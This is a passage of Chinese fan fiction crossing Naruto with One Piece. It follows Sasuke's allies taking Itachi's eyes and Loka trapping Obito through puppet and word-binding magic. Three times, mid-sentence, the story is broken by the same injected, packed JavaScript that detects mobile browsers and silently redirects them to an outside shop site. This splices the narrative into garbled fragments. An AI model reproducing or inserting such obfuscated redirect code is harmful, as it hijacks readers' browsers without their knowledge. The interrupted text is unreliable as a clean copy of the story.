“你要保护木叶,这只是你的意志。佐助是一个不同于你的个体,他可以有他自己的主意。”艾斯的声音忽远忽近,“你走上这条路已算是被迫,你为何又要去强迫佐助?” “我没有必要告诉你。”鼬被高温蒸得十分头痛,轻微脱水又让他有些晕眩,“你们偷走佐助之后对他说了些什么?” 为什么要这样做?因为他的选择不多,在极少的选项之中,只有这样才能避开最大的冲突、避开最多的伤亡,只有这样才是正确的。 鼬从未怀疑过自己走过的路。 “……哈哈。”艾斯被他气得笑了一声,“好,就算是我们偷走了佐助。那对于逼迫你灭族之后又没能保住佐助、任其在外漂泊数年之久的木叶,你居然还能生出保护之心吗?” 鼬沉默不语。 “一个需要逼迫你亲手灭族的村子,真的值得你这般爱戴吗?”艾斯简直难以理解,“也罢!你要爱戴是你的事,你不能逼佐助跟你一样去爱一个杀了他所有家人的村子——木叶从他身边夺走了所有人,包括你!” 45.045 045 艾斯这话让鼬心头巨震,下意识地否认了:“我从未想过要背弃佐助。” 高温产生的汗液将鼬的额发紧紧贴在他的额上,令他有些烦躁——艾斯化成的热浪完全可以将他烧死,但他没有。鼬很明白,艾斯是在等他查克拉耗尽、被病痛拖至力竭的那一刻。 先前鼬是觉得,佐助在木叶生活也不至于出什么大事,也曾想过要暗中照拂佐助一二,但他却没料到佐助会在七岁那年离奇失踪。他在外行走时也有意寻找,但从未发现过哪怕一丝一毫的线索。 佐助失踪后木叶的人虽也上心找过,但佐助出身宇智波一族,宇智波曾是木叶的心腹大患,这一族的末裔走失,他们努力寻找究竟是为了佐助的安危还是单纯不想让写轮眼落入他族手中并不难猜。 鼬曾经甚至怀疑过,佐助的“失踪”会不会正是木叶的手笔。 如此算来,他确实亏欠佐助良多。 “……好吧。”鼬惨然一笑,“你先前说你要我的眼睛,我可以给你。但我有个条件——我要见佐助一面,那眼睛,我也要亲手交给佐助。” 话一出口,鼬忽然觉得这话有几分熟悉。 很多年前,他帮助志村团藏灭了宇智波一族的时候,似乎也同志村团藏提过差不多的要求。 * 团藏一事已了,佐助便要按计划尽快赶回船上,协助洛卡对付不知何时会来的宇智波带土。 洛卡在对敌上很有几分釜底抽薪的智慧,但她身体太弱,哥哥替她特训了一段时间也未见起色,对上战斗经验丰富的对手很容易吃亏。 虽然有船长保护,但佐助还是觉得自己回去相帮更为稳妥。于是他在帮哥哥对付宇智波鼬和帮洛卡对付宇智波带土这两件事上倒是没有多作纠缠,很快选了后者。 哥哥不愿伤及宇智波鼬的眼睛,大概率没那么快结束战斗;且就算是为了哥哥,他也得尽快赶去帮助洛卡。 行至村口处的时候,他忽然被一个高大的影子拦住了去路。准确地说那高大的生物还在距他数十米之外的地方,只是被他用见闻色提前感知了。 佐助屏住呼吸绕到一座断墙之后弯腰去看,以他的身高只能看见那生物的脚——长有四趾,趾间无蹼,是一只蛙。 他没有时间长久观察,迅速用天照烧断了那只蛙的肌腱,那蛙发出一声长长的悲鸣,朝着断墙的方向倒了下来。 佐助拿出随身携带的另一个水晶球,朝另一堵墙后跑去的同时屈起食指在上头敲了三下,停了一停,又敲了两下:“洛卡,你知道木叶有谁会使用通灵术召唤青蛙吗?” 水晶球里传来洛卡含混不清的声音,似乎在吃东西:“青蛙?啊,你是说□□?可能是漩涡鸣人的老师自来也,但他现在应该不在村里啊?” “我遇到一只巨型□□,在村口的位置。” 那头的洛卡心下一沉:“可能是知道木叶有难赶回来的。我现在赶过去帮你。” “不用。”佐助握着水晶球又换了个位置,姑且和□□背后的那人拉开了距离,“此人的情报你知道多少?” “他会幻术、也知道如何破解他人的幻术,但对上你可能没什么用。”洛卡丢下手边的烤鱼,用魔力探知了一下佐助的具体位置,“真要杀了他估计还是会很费力,我们没必要在无关人员身上浪费时间。对付这样的人,抓人质威胁他是最快的——漩涡鸣人也跟着他回来了吗?” “应该没有,我感知到的这些人身形和脚步都几乎一样,可以确定是同一个人的分身。” “好。如果我没记错,他这个时候已到仙人级别,不是普通忍者能对付的。但他发动术式进入仙人模式仍然需要时间,最好在他结印完成之前切掉他的手脚,一旦让他进入仙人模式所有术式都会被加强,你在他跟前就无所遁形了。” 洛卡顺便探知了一下艾斯的位置,“直接尝试用言语扰乱他吧,他的弟子之中有一位叫长门,目前应该是在雨隐村活动,试试用长门的情报换他收手。” “明白了,多谢。” “……你还是别乱道谢了,真是瘆人。”洛卡瞪了水晶球一眼,“对了,艾斯就在你的附近,我离你太远,不如让他去找你吧。” “没必要,还是让哥哥回去保护你……” 佐助话音未落,那头洛卡已经切断了通话。 “啧。” 他从矮墙之后绕出,先放出苦无干掉了自来也的两个影分身,又突然拐了方向赶回那只因肌腱被毁而倒地的□□身边,先抽出长刀砍断了那□□抓着武器的前肢,紧接着对站在侧前方的自来也说道: “请止步,除非你想让这只□□带着天照之火回到它的世界去。” 自来也一愣:他刚赶到村口,召出□□健是为了阻止木叶上空那只飞来飞去的巨大蓝鸟,没想到村口就冒出一个不速之客,几息的功夫便重伤了□□健。 天照自□□健的腿部肌腱处快速向上蔓延,已经烧到它的腰腹。 “你是宇智波族人?”自来也看清了站在□□健肩头的佐助的双眼,“速速让你的同伴离开此地!不然……” “差不多快要离开了。”佐助不耐烦地打断了他,“是木叶的忍者不肯投降还在苦战,我的同伴才无法撤离。我倒想请你劝劝他们,如此下去只会造成无谓伤亡,反正我要杀的人也不多,不如就请他们就此认输作罢!” 话音未落,自来也身边忽然出现一个暗影,同时刀光闪现,直朝他正处于结印状态的双手而来——自来也心头一震,侧身避开的同时另一个分身自斜刺里突然出现,自下而上抽刀劈砍,砍断了他右脚脚踝后方的跟腱。 他右腿一软,几乎要跪倒在地。好在另一个分身的偷袭并未成功,双手也仍处在结印中的合十状态。 看来刚才那年轻人的一番话只是为了拖延时间。 自来也心中悚然:他是第一次见到这年轻人,但这年轻人却似乎对他了如指掌,此举完全是为了打断他结印。 佐助抽刀对准了□□健的眼睛:“如果这只□□还不够的话,我手里还有你弟子的情报,可以换你放下你的双手吗?” 此时他置于怀中的水晶球又亮了起来,是洛卡的通讯:“现在如何了?” 佐助警惕地望着结印中的自来也:“还在和他谈, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128497|194828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么了?” “我刚才急着联络艾斯没说清楚,自来也的弟子长门预备发起恐怖活动摧毁木叶,还给自己取了个新名字叫佩恩,若要阻止得趁现在……” 话音未落,只听对面的自来也大喝一声:“抱歉,□□健!你先回去吧!” 巨大的、还在燃烧的□□瞬间从佐助身侧消失了。 佐助一惊:竟就这么将那□□召回了,莫非对方有办法对付天照? 对方的结印已经完成,双肩似乎分别出现了两个模糊矮小的影子——佐助无暇顾及,对方那裹挟着一股子热油的火遁已经迫近到他跟前。 就在他准备用火遁抵抗的时候,头顶忽然传来一道耳熟的男声:“佐助、鼬,闭上眼睛!” 鼬? 佐助心头大震,但还是听话地闭上了眼睛。 一股热气自耳边擦过,闭上了眼睛的鼬只觉紧闭的眼睑前方一片发白,熟悉的热浪在他们前方化成一股高墙,将佐助的敌人隔绝在那片光墙对面的同时,鼬清楚地感知到,紧紧包围在他周围用于控制他的那股热浪仍然没有消失。 看来这人贩子手段不凡,能在保证大规模施展能力的同时,还能一心二用分出精力来对付别人。 因为怕伤到两位宇智波族人的眼睛,艾斯放出永昼白炎后又很快收回,墙后那人捂着眼睛连退三步,眼角有血液缓缓流下。 自来也听到对方提醒同伙闭眼时也迅速反应过来闭上了眼睛,但还是慢了一步,近乎雪白的火光几乎是刺入了他的双瞳,他的视野刹那间陷入一片灰白之中,先前放出的那名为五右卫门的仙术也在对方的白炎之下很快蒸发消失了。 肩膀上两只矮小的□□不停互换他的名字,他才从视野被夺的惊怔中反应过来。 很快,在场众人又听到了一阵持续不断的蛙叫。 蛙叫? 一直处在通话状态中的洛卡立刻出声提醒:“佐助小心!这是幻术!” 宇智波鼬被那道女声吸引,下意识地看了佐助一眼。 艾斯同他说佐助今年已经十七岁时他还有些不信,眼下这么一看,居然真的已经长到这样大了。 他们的世界里时间流速和这里不同吗? 鼬还没想出个头绪来,三人已经出现在一个透明的立方体内,四只体型巨大的□□站在四周,正对他们立起手掌,漠然地看着他们。 然而下一秒,三人便又从那立方体内脱身出来,回到了村口那熟悉的断墙之下。 自来也的幻术被来自宇智波的忍者轻而易举地化解了。 “哥哥。” 佐助叫了一声,声音中有一丝他自己没有察觉的惊喜。他没注意到身边的鼬浑身一僵,继续对艾斯道,“你这么快就打赢了?” 那样信任、那样单纯的神情,看上去像是从来没考虑过艾斯会输的可能性。鼬没想过这种神情还能在十七岁的佐助脸上出现。 “还没来得及分出胜负呢,我是带着鼬来找你的!”艾斯回头朝他一笑,他的双瞳仍然没有解除元素化,看上去像两团跳动的火焰,“他说要把亲自把眼睛交给你,我就带他来见你了!” 46.046 046 亲自把眼睛交给他? 佐助面色一凝,心下升起一股厌恶:“不必了哥哥。刚才我已经从团藏身上拿到了还没毁去的写轮眼。” 艾斯一愣,忽而又大喜:“你解决团藏比我们计划的要快多了!不愧是你啊佐助!” 佐助听了哥哥的夸奖,肃然的神色并未好转:“哥哥,你是控制住了鼬对吧?多谢你把他带到我跟前。”他将目光转到宇智波鼬的身上,“既然哥哥你被他哄骗,没能下手杀了他,那接下来就由我来动手吧。” 艾斯试图解释:“他并非哄骗……” 话音未落,佐助双瞳倏然一变,万花筒的纹样浮现其上,同时周身突有紫气环绕,须佐能乎很快出现将佐助包围其中:“哥哥,麻烦你去看着自来也——就是刚才攻击我们的那个人。” 艾斯不禁苦笑:“都这时候了你还想着要支开我呢?” “……竟连须佐能乎都掌握了。” 鼬虚弱地笑了笑,“佐助,你不必着急。这位艾斯先生到现在都没将能力从我身上撤走,他不想让你伤害我的眼睛,他一直在保护你。” 这话果然让佐助瞬间冷静下来。他想了想,试探着问道:“……所以,你也逃不出我哥的能力?” 是真的逃脱不得,还是卖惨装傻? “……你哥。”鼬发声有些艰难,“你这位哥哥告诉我,你们结束复仇之后就会回到你们的世界去,再也不会回来。” “与你无关。” “不会无关。”鼬抬起手,缓缓伸向自己的眼睛,“只要你真的已经因仇恨而成长,只要你以后能好好生活,就算不再回来……” 我也别无所求了。 他遵守了对艾斯的承诺,亲手挖出了自己的双眼。 佐助愣住了,身上的须佐能乎层层褪去,眼中的万花筒也慢慢消失,恢复了他原本的黑瞳。 看着被鼬挖出来的那双瞳仁,佐助皱起眉头久久不接,最后还是艾斯上前几步,拿出一枚仅两指宽的紫色水晶球,从鼬手中接过那双眼睛,放进了那颗小小的水晶球里。 球内的魔药很快包裹、净化了那双眼睛。 船上的洛卡似有所觉,对着通讯用的水晶球惊喜地问道:“眼睛回收了?” 那头响起的是佐助的水晶球,佐助沉默不答,艾斯便代为答道:“回收了,佐助的眼睛不会有事了。” “那就好。”洛卡叮嘱道,“事情快要结束了,你们是时候回来了。” 佐助忽然回过神来:这件事竟就真的这么结束了? 洛卡和艾斯的对话他听得很明白,先前她千方百计地劝他先去对付团藏、再安排他回到船上帮助她对付宇智波带土,其实都是为了支开他好让艾斯去取鼬的眼睛。 他们俩对木叶并无感情也无仇恨,尽心尽力地走这一遭无非是为了他的眼睛。 ——不。 思及此处佐助反而笑了笑:洛卡她或许还有别的目的吧? “虽然有些意外,不过事情还算顺利。”艾斯像小时候一样,伸手揉了揉佐助的头发,“如今鼬的眼睛已废,差不多也是个废人了。你的仇人一共四个,现在已去其三。无论过程如何,你总算走到了这一步。” 佐助还没来得及回答,一直在上空盘旋的马尔科忽然降落到地面,看了被热浪裹住困在原地的自来也和宇智波鼬一眼:“……村内大部分忍者已经在水户门炎和转寝小春的劝说下放弃了战斗,显然火影的死极大打击了他们的心态。现在我们的人也开始撤出村子了。” 旁边的自来也捂着眼睛抬起头来:“火影死了?怎么……可能?” “没有什么不可能的。”艾斯走到他跟前,“先前我听说你们村里还有个叫火之意志的东西,说到底这个意志到底是什么,是指出现强大的同伴就视为异己赶紧铲除吗?” 自来也没有回答。 艾斯倒也不作纠缠,很快走开了。 这时佐助终于从刚才的情绪里抽出身来,“你和宇智波一事无关,我本不想伤害你。作为补偿,我还有一事告知:你的学生长门似乎正想对木叶不利,他目前正化名佩恩在雨隐村活动,若要阻止他还请尽快。” 说完他没有理会自来也疑惑又焦急的追问,拿起怀中的水晶球呼唤洛卡:“我们这就回去,你那头情况如何?” 洛卡没有回答。同时,艾斯看到佐助手里那颗通讯用的水晶球也慢慢黯淡下去,没了颜色。 * 在切断通讯之前,洛卡听到了马尔科说的船员们正在撤出木叶的事,于是紧急收回了先前分到通讯球上的所有魔力。 洛卡是被一脚踢入这船室的——她甚至没看清攻击她的那人是何时出现的,总之就在她试图向关着卡卡西的玻璃罐里加魔药的时候,侧后方忽然出现一个黑影,紧接着她就被那黑影踹飞了。 她只觉右侧腰腹痛得发麻,喉头还升起一丝血腥气。 魔力回收后她伏在地上咳嗽了一阵,从船室的地板爬了起来,伸手拍了拍自己的胸口,给自己顺了顺气。 从刚才到现在她一直没有听到白胡子阁下的声音,不知道他眼下如何了。 偷袭她的人大概率就是宇智波带土。不过她一点也不担心宇智波带土就这么带着卡卡西逃走。她抓住身边跟她一块被踹到这船室来的扫帚,慢悠悠地从破洞飞出了船室,摁着自己的伤处努力调整出一道若无其事的欠揍声线: “别着急啊,你就这么带走他只能得到一具被魔药烧坏了脑子的躯壳,没了我,你怎么去救卡卡西啊?” 她飞上甲板,看到白胡子正和带土分立在甲板两侧,带土身边赫然躺着失去意识的卡卡西。 看起来白胡子没什么事,她略微松了口气。 洛卡从怀里掏出一颗水晶球来,对那水晶球吹了口气:“卡卡西,站起来。” 昏厥多日的卡卡西听到洛卡的呼唤,晃了晃已然僵硬的肢体,竟真的缓缓从地上站了起来。 “对面这人是谁,你认得吗?” 宇智波带土震惊地看着完全被人玩弄于鼓掌之中的卡卡西,只见他睁开独眼,虚虚看了一眼带土脸上的面具:“不认得。” “他说不认识你呢,带土。”洛卡笑着逼近带土,这笑因为刚才挨了一脚还有些气弱,“卡卡西,你吃了我的药,就得听我的话——眼前这人是你的旧友宇智波带土,你还记得他吗?” 卡卡西点头:“我记得带土。”他又抬头看了一眼那面具,“但他,怎么可能是带土?” 带土惊住了:“……你对他做了什么?你怎么知道我的身份?” “他现在是我的傀儡。”洛卡选了个好回答的问题来回答,“我的傀儡术不大精进,但若是事前做些准备,一次控制一个人还是能使得的。你放心,他不会死的,要是你肯手下留情的话。” 说着她又笑了一声,“卡卡西,既然他不是带土,那你就替我杀了他吧。” 卡卡西没有回答,从袖中摸出一枚苦无便向带土颈间划去——他被控制后动作僵硬,这一击没能成功,带土轻而易举地避开了他,毫无犹豫地朝洛卡疾奔过去。 傀儡动作虽然僵硬,速度却很快。在带土 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133711|194828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 够到洛卡之前卡卡西已经挡在洛卡身前,险些替洛卡挡下带土发出的那一记掌击。 带土皱眉,干脆伸手按住卡卡西将他传送进了空间里。 下一秒他却看到了极其诡异的一幕——从刚才到现在一直躲在卡卡西身后的洛卡竟抓住了那一瞬间的机会,伸手抱住了卡卡西的手臂,同卡卡西一道被传送进了异空间里。 那二人身影消失的下一秒,丛云切自上而下从带土身前斩落,削去了他半边面具。 带土后退几步,与身形高大的白胡子拉开了距离。 他是来救卡卡西的,不能和这里的人多加纠缠。但那来历不明的姑娘既然已经知道了他的身份,那他就不得不杀她灭口。、 只要术士一死,卡卡西无论中了什么术都能立即解脱。 然而下一秒,他看到头顶出现了一个紫黑色的大阵,刚才那个被他吸入了异空间的女孩又从那阵中飞出,出现在了他的眼前:“大概有半分钟没见了吧带土?想我吗?” 卡卡西的手臂被她挽在臂弯里,也跟着她一起出来了。 带土的额上落下两滴冷汗,眼前的情况让他有些震惊:神威竟然被她破解了? 是被她破解了。洛卡跟随卡卡西进入那异空间时在那空间之中放置了她的那个用于穿越时空的魔法阵,眼下无论任何人和事被拉入那个异空间,都能立刻被她用她的阵拉出来。 接下来他要是敢在战斗时把即将受到攻击的身体部位传送进异空间内,那部位马上就能出现在洛卡的手里——若是要害,那就糟了。 她在他的空间里开了个能让她自由穿梭的洞。 白胡子赞了洛卡一句,挥拳砸在地面上,甲板应声碎裂,带土不得不向侧边跑了几步,却又踩中一个他看不穿远离的阵,阵中发出的紫光瞬间将他包围,他在阵中看到了许多东西——他幼时和卡卡西训练交战的画面、他努力逗笑琳时琳发出的笑声,以及最后,琳死于卡卡西的雷切时的场景。 是扰乱心神的幻术吗?竟敢对宇智波的人使用幻术,这姑娘未免过于托大。 他站在幻术正中没有动,右手藏于袖中,朝那姑娘发出了数枚手里剑。 这白发姑娘用的术虽诡异,但体质似乎很弱,受了他未尽全力的一脚竟能飞出十数米,缓了半天才爬起来。看来对付她不必多费力气,最简单的体术就能击中她。 她果然没注意到那飞得极快的手里剑,还站在原地欣赏宇智波族人被她的幻术制住的画面——那白胡子老者倒是注意到了,但赶到她身边时已经来不及,六枚手里剑被丛云切挡开四枚,还是有两枚伤到了洛卡的腿。 洛卡惊呼一声,整个人歪了一歪,她身边的卡卡西受了她一撞险些连带着摔倒。 正是这一撞让卡卡西怔了怔,抬起头来茫然地环顾了一圈周围:“这里是……”很快他看到了远处熟悉的山峦和已被地震摧毁的木叶村落,“木叶?这里是木叶?” 很快他看到了已经冲破幻术站到他跟前的、正戴着假面的宇智波带土:“……写轮眼?” 是术士受伤导致傀儡术松动了吗? 带土再次抓住卡卡西的手臂:“现在我将你送进空间内,你被她拉出来时趁机攻击她、最好杀了她——其他的之后再解释。” 说着他发动神威,试图再次将卡卡西吸入空间内。 卡卡西清醒后被迫接收了太多信息量,一时之间实在有些弄不清楚状况:“这……神威?你是带土?!” 神威还未发动完毕,卡卡西却又急急朝他说道,“我中了禁术绝对不能回到木叶!快杀了我!” 47.047 047 话音刚落他已被吸入空间之内;然而下一秒带土像是意识到了什么似的,再次发动神威将他自己也送入了那空间里。 敌人居然自行消失了。 白胡子低头看了一眼中了手里剑之后便痛得站不起来的洛卡,伸手像捞小猫似的把她捞进了臂弯里,退到了甲板之后,像是要静候宇智波带土的再次出现:“他没有逃吧?” 洛卡痛得冷汗涔涔,闻言却还是勉力一笑:“自然没有。” ——那头进到异空间的带土一脚踢飞了卡卡西手里对准了脖颈的苦无:“你要干什么?” 卡卡西抬头看他一眼,重复了一遍刚才的话:“我中了禁术,回村之后便会开始伤害同伴,我不能回到木叶。” 此时带土可顾不上木叶的死活,他今天外出已是违反了计划,万万没想到还救回来一个只想自裁的蠢货:“只要杀了那女术士便可解了,何须自尽?” 卡卡西颓然垂下手臂,神色有些茫然,似乎是在问他、也是在问自己:“你阻拦我自尽?” 他此时额发凌乱挡住了那只独眼,因此带土没看到他眼中有紫气缓缓散去,“等等……好像有哪里不对……你中计了带土!快离开这里!” 带土不明白他前后情绪反差为何如此激烈,也实在没时间追究卡卡西又是如何知道自己身份的:“……少废话,你记得刚才我同你说的吗?只要她拉你出去,你就立刻杀了她。” 然而此时卡卡西却神色一变,身上的外衣、脸上的面罩犹如液体一般软化垂落,顷刻间化作紫色的水珠飞溅开来,哗啦啦抖了一地。 看上去就像一个人偶被剥掉了外衣。 带土本想避开,却见被剥除了外衣和面罩的卡卡西被这水珠溅了一身,上半身力竭一般伏倒在地,喉咙深处发出了无力的嘶鸣;带土下意识想去扶他起来,手伸出去却僵在了半空,那紫色的水珠便也沾上了他的手臂。 此时,异空间上方紫黑色的大阵一闪,一只纤细的手探了进来,触到了卡卡西的肩膀;同时卡卡西绝望地看到,带土面具下的那只写轮眼中有紫色的雾气迅速凝聚——是洛卡的言灵术成形了。 带土并未注意到这一切,看到洛卡的手臂他下意识地疾奔几步变出一支苦无便要斩断那纤细的手腕。 眼前一晃,即将被苦无刺中的竟成了卡卡西的脖颈——带土及时收回手来,苦无划伤了他自己的手腕,血珠飞溅,带土愕然地退后半步。 同时洛卡的声音在阵中响起: “直接命令对你这样的人物恐怕不能成功,所以刚才我控制卡卡西命令你杀了他,而你果然违抗了他的意志,自我构建出了【不能伤害卡卡西】的指令,甚至成功阻止他自尽。眼下卡卡西却被你刺伤了——言灵术已成,你该遭到反噬了吧?” 带土呕出一口鲜血,颓然倒地:“怎么可能……?” “我的幻术再不禁用,不也蒙住了你一时半刻吗?” 洛卡的声音像是从远处飘来,“为了骗过你,我先是做了一个模样像极了卡卡西的人偶,又怕你起疑干脆将卡卡西本人放进了人偶当中。说到底不过是些障眼法,实在见笑。” 卡卡西诱带土救他的行为全是受那人偶、也就是洛卡的傀儡影响,那傀儡从卡卡西身上剥离之后又重新凝聚成一条手臂的样子假装从阵中伸出引带土出手攻击,又在带土即将得手之时它又变回了卡卡西的模样,这具由魔药构建的能够自由变换外貌的傀儡残躯就这样导致带土瞬间遭到言灵术的反噬,原本还算冷静的大脑此刻也全被言灵术占据。 从头至尾连那个大阵都是她故布迷雾,她根本没有主动进来过。 洛卡想着,带土对她本就有很强的防备之心,神智又很清醒,直接命令带土自我了断或者命令他杀了卡卡西都不可能成功,那就反其道而行之,试试命令他去保护卡卡西好了。 原先要救卡卡西的决心有多强烈,如今遭到的反噬就有多痛苦——带土按住了自己刚才出手刺伤卡卡西的手臂,指尖处传出犹如被蚂蚁啃咬的痛痒感,那感觉一瞬之间便传遍全身,令他浑身抽搐倒在地上,剩余的半边面具骨碌碌地滚到卡卡西的脚边。 带土闭目,眼中不知为何全是卡卡西动脉被刺、虚弱濒死的画面。 言灵术的反噬愈发严重。带土在魔力的剧烈冲击中紧闭双眼,一声不吭。 偏偏这时候洛卡的声音又响了起来:“你的计划、你的目标都太过远大,一旦实现,首先伤害的就是坚定站在木叶一边的卡卡西——为了保护他,你该怎么办?” 带土痛苦地蜷缩起来,颤抖的手指伸进眼眶,艰难地、坚定地挖出了自己的眼睛。 * 最终洛卡还是没有按计划把宇智波带土带回去。 带土在意识到自己的未竟之事会伤到卡卡西之后,接连毁去自己的眼睛、折断自己的左臂、切断了双脚的脚筋,正要继续自残的时候从傀儡术中挣脱出来的卡卡西及时将他敲晕阻止了他。 洛卡将他二人从神威的异空间中带了出来,笑眯眯地对卡卡西道:“卡卡西,我赌赢了,你该将带土交给我了。” 卡卡西知道现在的自己不是眼前这少女的对手,但还是当着她的面用神威将带土的残躯转移到空间之内:“……他眼睛已废、身体残疾,对你来说已经没有用处了。” “不会呀!”洛卡朗声笑道,“我的同伴宇智波佐助从团藏身上收回了一大堆宇智波族人的眼睛,我随便移植一只到带土身上,他就又是有价值的带土了。身体残疾对我来说更不是什么问题——而且,你应该也知道你们的空间系术式对我毫无用处吧?” “但你不会一直留在木叶。”卡卡西说话时有些吃力,“你的那个空间系术式肯定还有别的用处,不能永久留在神威的空间里。我可以一直等着,等到你们离开这里的那一刻——只要你将那术式从空间中撤走,神威就能再一次为我所用。” 洛卡面上的笑容慢慢消失了:“你不怕我杀了你呀?” “洛卡小姐,你只是让带土误以为刺伤了我就足以让他自残至此,如果你杀了我,带土大概率会因为没能保护我而被你的言灵术彻底反噬直接身亡,那你只能得到一具残缺的尸体。” 卡卡西这么说着,面上不见半点轻松,“先前你对我说你一定能打赢带土,我没有信,是我输了;现在我同你再赌一次:无论你杀不杀我,你都得不到宇智波带土。” 周围彻底静了下来。洛卡半晌没有说话。 “你当然也可以用你那些奇妙的魔药把我迷昏,趁机带走带土。”卡卡西的额发已被魔药沾湿,半透明的液体正沿着他瘦削的脸颊向下流淌,让他看上去很有几分狼狈,“我不确定你的言灵术是否能穿过你的阵法追到另一个时空,但也只能赌一把了——你若是把带土带走, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138093|194828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我就立刻自尽。” 这样即使带土已经被带到另一个时空,挚友的死亡也能将他的灵魂引回此地。 洛卡若有所思地看了他一眼:“原来如此,我倒是低估了你的决心。” 说来好笑,她为了快速得到宇智波带土琢磨出来的捷径现在反而把她自己套住了。 卡卡西见她态度似有动摇,不由得松了口气。 然而洛卡还不想就这么放弃:“你如此坚持是要把他带回木叶?” “是。” “他已经成了叛忍,你把他带回去是觉得他栽在我手里不太合适,死在木叶手里才算死得其所吗?” “……他身上的情报十分珍贵,短期内不会被处死。我会替他争取一个向木叶赎罪的机会。” “赎罪的机会?”洛卡忍不住大笑起来,“木叶倒是很懂得物尽其用。说起来,我同伴走时带上了木叶的地形图,那是我从你的记忆里提取出来的——你的记忆也成了我的帮凶,你说你的上级会不会惩罚你?” 卡卡西不知道她在讽刺什么,只能皱眉道:“这是我的事。” 洛卡笑了好一阵才停下来:“说真的,我从来没有像今天一样庆幸我的朋友摆脱了赎罪的命运——卡卡西,你这位朋友即使去了木叶也不过是遭到逼供日日熬刑,但我能替他恢复视力、接好断骨,把他当神像一样供起来——我一点也不想杀他,不然也不会放任你阻止他自残了。” 神像? 卡卡西感到背后一寒,低头思考几秒钟,再抬头时试探着说道:“你身边就有一个天赋极佳的宇智波族人,不找他帮忙却绕这么大一个弯子找上别人,我实在不敢相信带土真有那么幸运。” 天赋极佳的宇智波族人,他是指佐助吗? 此时天际隐约泛白,天快亮了。 卡卡西听见河岸边传来嘈杂的声响——是白团的人回来了。 “你倒也不必特意提起佐助的事。”洛卡虽还笑着,声音却冷了下来,“但你倒让我想起来了,我这里还有一个办法。你知道宇智波的幻术也可以致人失忆吗?” 卡卡西瞳孔一缩。 “我完全可以让佐助抹消你的这段记忆,从你这里带走带土之后你也不会记得任何事情,更不会为他自杀了。”洛卡笑道,“为了带土的心理健康着想,我也可以消除他的记忆。这样你们就都不会痛苦了,你总该满意了吧?” 看来是谈不成了。 卡卡西垂落在身侧的手略微一动:虽然胜算不大,但他也只能和刚才的带土一样,从洛卡不擅长的体术作为切入口,试试能否拼死一搏了。 “不过,你倒也不必紧张。”洛卡十分疲惫地叹了口气,“我决定放弃了,你的任务也完成了。你走吧。” 卡卡西一愣。 “佐助曾经答应过木叶的人要将你毫发无损地放归,我不能叫他食言。”洛卡疲惫地伸手按了按自己的太阳穴,“你回去后可以注意一下水户门炎和转寝小春的动向,为了让木叶尽快弃战,我对他们远程使用了言灵术。不知道他们清醒过来后会不会后悔自己的所作所为——恐怕就算不后悔也逃不过木叶的事后追责吧。” 说着她又对卡卡西笑了笑,“我的同伴们马上就要回来了,还不快走?” 卡卡西不再耽搁,后退几步退到甲板边沿,警惕地看了洛卡最后一眼,转身跳入了黎明前夕平静无波的湖面。 48.048 048 ——“怎么就这么放过他了?” 在湖中心旁观许久的宇智波佐助没想到洛卡竟真能任由卡卡西把带土放走,上船后看到一脸平静的洛卡还有些讶然,“你不是很早之前就在打他主意了吗?” 洛卡瞪他一眼:“说得好像我是那没安好心的拐子似的。” 佐助奇道:“你不是吗?” 那欠揍的语调和神情气得洛卡险些不顾伤势当场和他打起来。 不过佐助所言倒是不假。他之所以会知道洛卡的打算,是因为在抓到卡卡西后某天无意中听到了她和卡卡西的对话。 当时卡卡西已在洛卡为他特制的魔药里泡了一天一夜,连着做了一天一夜的噩梦,被洛卡捞出来换药时虚弱至极,别说逃走,连说话和动弹都很困难。 都这样了,居然还能醒过来。 洛卡见到他睁开眼睛也很意外:“现在感觉如何?有哪里疼吗?要不要吃点东西喝点水?” 卡卡西昏迷的时候洛卡给他灌过营养液,因此卡卡西的饥饿感倒不是特别明显。他现在连话都说不了几句,只好惜字如金地问道:“你是谁?有什么目的?” “目的是用你设个圈套抓住宇智波带土。”对于这事洛卡倒是非常爽快地讲了实话,“对了,你还不知道吧?宇智波带土他还没死呢。” 卡卡西被这个消息震住了。他有些不敢相信,但却下意识地想要相信她的话——他在玻璃罐中看到的噩梦确实几乎都和带土有关。卡卡西此前根本不认识这白发小姑娘,他却如此地想要相信她,想来是她在他身上动了什么手脚。 能操控他人的意识,是幻术一类吗? “行了,别琢磨了。”洛卡还是那副笑盈盈的模样,同他说话时还会蹲下来与他平视,“我答应你,等抓到了宇智波带土就放你回去,一根头发不少你的。” 